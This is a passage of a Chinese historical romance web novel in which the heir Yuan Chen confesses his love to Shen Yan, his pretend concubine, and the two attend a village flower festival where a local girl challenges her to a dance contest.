说着，她想到什么一顿，虽然内心紧张，还是鼓起勇气，问出了这段时间搅得她坐立不安的那句话，“只不过，世子既明知是圈套，为何还不顾危险，只身前来？” 依然无比想知道，元琛涉险救她的真正原因是什么。 纵使明知他是真的关心自己，纵使面临和他去苏府接她那次一样的结果，她仍想听元琛亲口说出，是否真的如她所想。 话音落下，不知因为紧张，还是心虚，没等元琛开口，她还是自己先绷不住补了句：“只是因为歉意？还是……那个契约？” 说到后面，她声音渐渐低弱下去，耳边响起昨晚在元琛书房外听到的话，眼圈泛起酸涩，“毕竟我只是个假扮的侍妾，世子手中的一粒棋子而已。” “你果然都听到了。”元琛声音忽然有点哑。 “是，妾还听见——” “女使也好，侍妾也罢，我都不会对你这种女人动心……是吗？” 元琛唇角浮起一缕意味不明的苦笑，像对沈妍说话，又像在自语：“我编出这番谎话欺骗程思弼，也一直在欺骗我自己……明明早已沦陷，却抵死不肯承认，而是一再假借契约将你留在身边。” 他顿了顿，一哂继续说道，“自以为可以护你周全，却一次次将你置于险境，直到你被劫匪抓走，直到我意识到可能再也见不到你，才终于看清自己有多荒谬。” 缓缓抬睫，他眼底不知何时已经蓄满血丝，似疲惫不堪，却又凝着热切的渴望，凝着沈妍嗓音哑得不像话：“阿妍，我撑不下去了……对不起，我心悦你。” 51. 定情 仿佛听到了什么不可思议之事，沈妍满目震惊，霎那间脑中一片空白。 她不可置信地瞪着元琛，半晌才醒过神，眼中的酸涩一点点褪去，取而代之的是不断涌起的水光。 她眨眨眼，原本从清晰变作模糊的卫世子，再次由模糊变清晰。 男人微拧着眉心，眼底划过种种复杂情绪：痛苦，渴望，愧疚，不知所措…… 周遭安静了几息，他再次开口，小心翼翼道：“对你做了那么多恶劣的事，你可是恨透了我？” 沈妍摇摇头，整理了一下心绪道：“欺骗也好，利用也罢，世子一次次救我于危难却并非做假。在这世上能如此待沈妍的，也仅有世子一人。” 话音落下，面前，元琛看不出什么表情，只有潭黑的眼眸微微一颤，像深层巨澜抵达前的湖面。 沈妍长睫闪了闪，清越的嗓音此刻染了一点鼻音，自顾自诚恳说道：“被劫匪抓走后，我才得知那是个圈套，那群人只是想利用我截杀世子。当时，我好害怕，怕死，怕被劫匪伤害，怕世子不肯来救我，但最怕的，却是世子真的会来……” 说到后来，她喉咙有点哽，与此同时，双唇骤然触上一片灼烫的柔软。 唇瓣辗转厮磨间，沈妍不由瞠目怔住，不等她回过神，男人舌尖已抵开她疏于防范的齿关，温柔又强势，湿热的气息混合着独属于他的雪松香侵入口鼻，像爆发，像宣泄，鲸吞蚕食，攻城略地…… 沈妍被亲得身子发软，脑袋昏昏沉沉，心底却渐渐浮起一缕慌乱，本能地想要后退，那双有力的手臂却禁锢着她，以不容退缩的力道，将她紧紧圈在怀中。 她气息不稳，他却步步为营，良久，非但丝毫没有松开的意思，反而像要将她融进自己的身体里。 两人间似乎有什么被点燃了，愈烧愈烈…… 沈妍能清晰感觉到元琛重重的心跳，以及他身上某处异样的变化…… “……世、世子，你伤还未好。”她用残存的意识挣扎着，有气无力道。 片刻，元琛终于松开了她，像竭力压抑着什么，他胸口微微起伏，幽暗的眸底仍涌着惊涛骇浪。 沈妍看了他一眼，面颊和耳根顿时烫得像着了火，忙不迭寻了个借口离开这间屋子。 “那个，药好了，我去看看。” 在她身后，元琛望着她离去的方向，目光幽深缱绻，温软似水。 昨晚至今发生的一切，直至此刻方如梦初醒。 得知沈妍被劫走，他何尝不是怕得要命？怕劫匪动手伤她，怕自己晚到一步便会失去她，更怕他对沈妍说的最后一句话都是在伤害她。 * 在猎户家住下后，元琛的伤势一日比一日好转，偶尔还能跟猎户大叔出去打猎。 沈妍则陪着大婶挖野菜，烧饭，为家务奔忙。 不知是否因为有元琛在，这样的日子，沈妍竟未觉得沉闷乏味，反而生出了些许岁月静好之感。 有时，她甚至会想，假如能一直这样下去，纵使回不了上都，似乎也不错。 如果元琛不是大权在握的北境将军，也不是高高在上的卫王世子就好了。 这些年，沈妍自知身后从无依仗，为了生存不得不处处算计谋划，纵使早已对元琛心生情愫，依然时时强迫自己保持清醒。 如今却不可抑制地生出了些不一样的念头。 她在心中默默祈祷，无论两人将来如何，那都是出村子以后的事，眼下能否先容她任性一回？ 这段日子，元琛给她讲了许多自己的过往，说他少时一心想让自己变强，无论读书、练功，从不敢偷闲躲懒。 起初，是为了让他和母亲不被轻视，不受欺凌，后来，则是不想被旁人踩在脚下，碾成齑粉，所以，他处心积虑，一步步朝着权力巅峰奋力攀爬，直至今日。 从前，元琛心知身为元家嫡长子，日后注定要娶一个门当户对的女人。他虽不喜联姻，却也觉得只要有助大业，管他对方是谁。 可自从遇见沈妍后，他渐渐发觉，自己原来也会疲惫，会孤单，也会生出令他心存畏惧的欲念。 他害怕这种失控感，害怕重蹈父母的覆辙，于是强撑着积重难返的习惯，一日日自欺欺人。 直到沈妍被抓走那一刻，他恍然意识到，什么权力，门第，骄傲，情面，对错……都已经不再重要。 他真正在乎的，原来只有沈妍。 * 这日傍晚，沈妍提着竹篮挖菌子回来，一路只见村寨各处张灯结彩，男男女女皆身穿艳丽的新装，个个都比平日打扮得分外鲜亮。 出于好奇，回到小院后，她向猎户大婶询问缘由。 大婶说今日是他们这个古村的花朝节，也就是青年男女彼此相看、定情的日子。 沈妍闻言了然颔首，怪不得一大早瞧见那么多年轻男子结伴往村外去了。 她和大婶坐在院中，边闲聊，边择洗过会儿暮食要用的野菜。 院外柴扉响动，猎户大叔拎着一挂山鸡、兔子等野味满载而归。 沈妍见大叔自打进门后一直笑得合不拢嘴，便知他和元琛今日收获颇丰。 只不过，等了好一会儿仍未见元琛进门，她便问大叔他去哪了。 大叔挠头纳罕：“还没回来？之前明明叫他先回家的。” 沈妍听得心直往下沉：可别是遇上那伙劫匪了吧？ 思来想去，她越发坐立不安，忍不住跑到村口翘首张望。 好在没等多久，前方土路上便现出了那道颀长熟悉的身影。 金乌西沉，在男人斜后方拖下一道长长的剪影。 沈妍看见来人，唇角不自觉上扬，等不到元琛走近，已快步迎了上去。 她本非沉不住气之人，近日却不知为何，不过才和元琛分开几个时辰，此刻见面，竟有种久别重逢的感觉。 “世子去哪了？”她在元琛身前驻足，诧异问道，“怎么这么晚才回来？” 元琛长睫微垂，定定望着她，深潭般的眼底笑意温存：“担心了？” 被他说中心事，沈妍耳根一热，颔首未答。 眼前蓦地红影一闪，沈妍抬眸，看见元琛右手从身后擎到她面前，白皙的长指拈着一对并蒂双生的奇花。 这对奇花个个有酒盏大小，生着密密匝匝、细长的花瓣，红得火焰般耀眼。 “给你的。”他说。 沈妍尚未伸手接过，随着一股清幽好闻的香气飘入鼻端，原本娇美的花儿仿佛更添了几分妖娆。 沈妍看得几乎挪不开眼，口中赞叹：“这花真美！” “嗯。”元琛轻声附和，目光却始终落在她脸上。 沈妍并未注意到元琛的表情。她一手捏着花枝，猝不及防另一只空着的手被一只大掌包裹住。男人的手掌温暖干燥，略显粗粝的指腹激起微痒的触感，连同他的体温丝丝缕缕直达心底。 沈妍怔了怔，在周围三三两两村民含笑的窥视与打量下，再次飞红了脸，却并未甩开握着她的那只手。 元琛则一路目不斜视，就这么与她牵手并肩往回走，仿佛这是再自然不过的一件事。 虽然触到那只酥手的瞬间，他内心早已狂跳不止。 二人回到猎户家小院，大婶一眼瞥见沈妍手中的花，惊叹一声：“公子居然摘到了双生莲。” 沈妍瞧大婶的反应不禁一讶，问此花有何特别之处。 大婶笑言：“此花十分罕见，相传乃是月老红线化成，只长在最陡的悬崖峭壁上，故而极为难得。村里老人们都说，哪位男子有幸采到此花，送给心仪之人，那人便会与他白头偕老。” 边说，大婶边抬眼看向沈妍，笑得大有深意，“今日是花朝节，全村的年轻男人都在抢着找它，没想到竟被公子得了头彩。按照村里的规矩，今晚的花朝宴，二位须得去赏个脸了。” 即然如此，自该入乡随俗，少生事端为好。 沈妍于是询问大婶花朝宴的习俗，得知原来是青年男女过定情礼的宴席，不禁瞠目收了声。 她和元琛好像还没到那一步。 忽听旁边的元琛道了声“好”。他声色坦然，言罢，自去院中劈柴，像是顺势应下了此事。沈妍遂未再多言。 这厢回过神，却见大婶看着她笑：“明日我想同我当家的出去打猎，天不亮便要出发，你二人自行解决晨食即可。” 沈妍不知情由随口应着，对上大婶意味深长的目光，不禁一愣。 “不必早起。”大婶又悄声补了句。 终于听明白她在说什么的沈妍：“……” 此地的定情宴未免也太奔放了，果然和上都不一样。 忽又想到，元琛晚归竟是为了采双生莲送给她。如此说来，他应该早已知晓 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沈妍和元琛已事先从猎户夫妇口中了解到花朝宴的规矩。 比如，席间未婚男女均可向意中人敬酒，或是邀对方同自己跳舞。 如果对方喝下自己敬的酒，或是同意跳舞邀请，则说明那个人对自己有意。 偶尔也有数人同时看上了某个人，彼此间还可向情敌发出拼酒或比舞挑战。 元琛注意到，席间不少男青年频频向沈妍投来热烈的目光，不由俊颜微沉。 毕竟是北境战神，一个眼神也能屈人之兵。 但凡有那不安分、想过来向沈妍邀舞或敬酒的，无一例外均被他满含煞气 的眼风瞪了回去。 终归是从悬崖峭壁上采到双生莲的男人，一般男子还真没这份胆量敢向他挑战。 相较男子们的大胆直白，少女们则显得腼腆许多。 唯一的例外是里正的女儿。 此刻她正款步朝元琛走来。 沈妍早已注意到，此女生得高挑明艳，相貌出众，肤色是被山村日光晒出的健康黝黑，一身打扮，在这小小村寨中堪称精美华贵。 少女径直走到元琛跟前，大方地开口主动介绍自己名唤周五娘，是里正的女儿，至今尚未婚配。 她微昂着头，自信满溢：“向我求周五娘亲之人十里八村排成行，可我全没看上，今日有幸，总算遇了中意之人。” 直勾勾望着元琛，她右手举起酒碗，“我相中你了，请郎君饮下这碗酒，做我的情郎如何？” 话音落下，周围立时传来一片欢笑、起哄之声。 堂堂村花前来敬酒，男方纵使无意，出于怜香惜玉也要给对方留几分薄面。 结果元琛却并未端起面前的酒碗，只是出于礼数声色无波地站起身来，淡道：“我已有心仪之人了。” 周五娘闻言倒也未生气，一指旁边的沈妍：“是她吗？” 元琛点头。 周五娘会意偏头睨着沈妍，明眸流转间带着三分不屑，七分不服：“中看不中用的女人有什么好？”言罢又对元琛道，“输给她，我不服气。郎君拒绝我，那是因为还没见识过我的本领，等郎君见过我的舞姿，再做决定不迟。” 话落，不等元琛回答，五娘挑眉问沈妍：“喂，你敢同我比试一场吗？” “她不需要。” “比什么？” 元琛和沈妍的声音同时响起。 元琛：“……” 四目相对，他忍不住拿眼瞪沈妍：你想作甚？ 后者眼尾微扬：交给我。 周五娘直接无视了二人之间的眉来眼去，挑衅地看着沈妍：“比胡旋舞，你敢吗？” 后者冲她勾唇一笑：“呆会儿输了，你可不许哭鼻子。” 五娘不屑地轻哼一声：“年纪不大，说大话的本事倒不小。”说着，她朝篝火旁的空地伸手比了个有请的手势。 沈妍也不含糊，抬脚便跟着周五娘走向了舞场。 留下元琛在后面额角狂抽，内心五味杂陈——他堂堂北境大将军，竟被两个女人当成了赌注。 山民之女不知底细也就罢了，沈妍她……她居然也这么对他……真是气死他了！